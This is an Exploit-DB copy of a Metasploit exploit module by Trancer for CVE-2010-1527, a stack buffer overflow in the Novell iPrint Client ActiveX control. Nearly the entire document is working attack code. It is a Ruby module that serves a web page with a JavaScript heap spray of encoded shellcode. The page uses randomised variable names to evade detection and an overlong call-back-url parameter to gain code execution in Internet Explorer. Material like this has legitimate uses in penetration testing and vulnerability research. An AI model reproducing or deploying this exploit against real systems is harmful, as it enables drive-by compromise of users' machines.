Novell iPrint Client – ActiveX Control call-back-url Buffer Overflow (Metasploit)

  • 作者: Trancer
    日期: 2010-09-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/15072/
  • ##
    # $Id: novelliprint_callbackurl.rb 10429 2010-09-21 18:46:29Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    ##
    # novelliprint_callbackurl.rb
    #
    # Novell iPrint Client ActiveX Control call-back-url Buffer Overflow exploit for the Metasploit Framework
    #
    # Exploit successfully tested on the following platforms:
    #- Novell iPrint Client 5.40 on Internet Explorer 7, Windows XP SP3
    #- Novell iPrint Client 5.42 on Internet Explorer 7, Windows XP SP3
    #- Novell iPrint Client 5.42 on Internet Explorer 7, Windows Vista SP2
    #
    # ienipp.ocx version tested:
    # File Version: 5.4.0.0 and 5.4.2.0
    # ClassID: 36723F97-7AA0-11D4-8919-FF2D71D0D32C
    # RegKey Safe for Script: True
    # RegKey Safe for Init: True
    # KillBitSet: False
    #
    # References:
    #- CVE-2010-1527
    #- OSVDB 67411
    #- http://secunia.com/secunia_research/2010-104/ - Original advisory by Carsten Eiram, Secunia Research
    #- http://www.exploit-db.com/exploits/15042/ - MOAUB #19 exploit
    #- http://www.exploit-db.com/moaub-19-novell-iprint-client-browser-plugin-call-back-url-stack-overflow/ - MOAUB #14 binary analysis
    #- http://www.rec-sec.com/2010/09/21/novell-iprint-callbackurl-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security
    #
    # Trancer
    # http://www.rec-sec.com
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = NormalRanking
    
    	include Msf::Exploit::Remote::HttpServer::HTML
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Novell iPrint Client ActiveX Control call-back-url Buffer Overflow',
    			'Description'=> %q{
    					This module exploits a stack-based buffer overflow in Novell iPrint Client 5.42.
    				When sending an overly long string to the 'call-back-url' parameter in an
    				op-client-interface-version action of ienipp.ocx an attacker may be able to
    				execute arbitrary code.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' => [ 'Trancer <mtrancer[at]gmail.com' ],
    			'Version'=> '$Revision: 10429 $',
    			'References' =>
    				[
    					[ 'CVE', '2010-1527' ],
    					[ 'OSVDB', '67411'],
    					[ 'URL', 'http://secunia.com/secunia_research/2010-104/' ],	# Carsten Eiram, Secunia Research
    					[ 'URL', 'http://www.exploit-db.com/exploits/15042/' ],		# MOAUB #19
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'process',
    				},
    			'Payload'=>
    				{
    					'Space' => 1024,
    					'BadChars'=> "\x00",
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
    				],
    			'DisclosureDate' => 'Aug 20 2010',
    			'DefaultTarget'=> 0))
    	end
    
    	def autofilter
    		false
    	end
    
    	def check_dependencies
    		use_zlib
    	end
    
    	def on_request_uri(cli, request)
    		# Re-generate the payload.
    		return if ((p = regenerate_payload(cli)) == nil)
    
    		# Encode the shellcode.
    		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
    
    		# Setup exploit buffers
    		nops 	= Rex::Text.to_unescape([target.ret].pack('V'))
    		ret	= [target.ret].pack('V')
    		ret 	= ret * 250
    		blocksize = 0x40000
    		fillto= 500
    		offset 	= target['Offset']
    
    		# ActiveX parameters
    		clsid 	= "36723F97-7AA0-11D4-8919-FF2D71D0D32C"
    
    		# Randomize the javascript variable names
    		ienipp = rand_text_alpha(rand(100) + 1)
    		j_shellcode= rand_text_alpha(rand(100) + 1)
    		j_nops = rand_text_alpha(rand(100) + 1)
    		j_ret= rand_text_alpha(rand(100) + 1)
    		j_headersize = rand_text_alpha(rand(100) + 1)
    		j_slackspace = rand_text_alpha(rand(100) + 1)
    		j_fillblock= rand_text_alpha(rand(100) + 1)
    		j_block= rand_text_alpha(rand(100) + 1)
    		j_memory = rand_text_alpha(rand(100) + 1)
    		j_counter= rand_text_alpha(rand(30) + 2)
    
    		html = %Q|<html>
    <script>
    var #{j_shellcode} = unescape('#{shellcode}');
    var #{j_nops} = unescape('#{nops}');
    var #{j_headersize} = 20;
    var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
    while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
    var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace});
    var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace});
    while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
    var #{j_memory} = new Array();
    for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) {
    	#{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
    }
    </script>
    <object classid='clsid:#{clsid}' id='#{ienipp}'>
    <param name='operation' value='op-client-interface-version' />
    <param name='result-type' value='url' />
    <param name='call-back-url' value='#{ret}' />
    </object>
    </html>|
    
    		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
    
    		# Transmit the response to the client
    		send_response(cli, html, { 'Content-Type' => 'text/html' })
    
    		# Handle the payload
    		handler(cli)
    	end
    
    end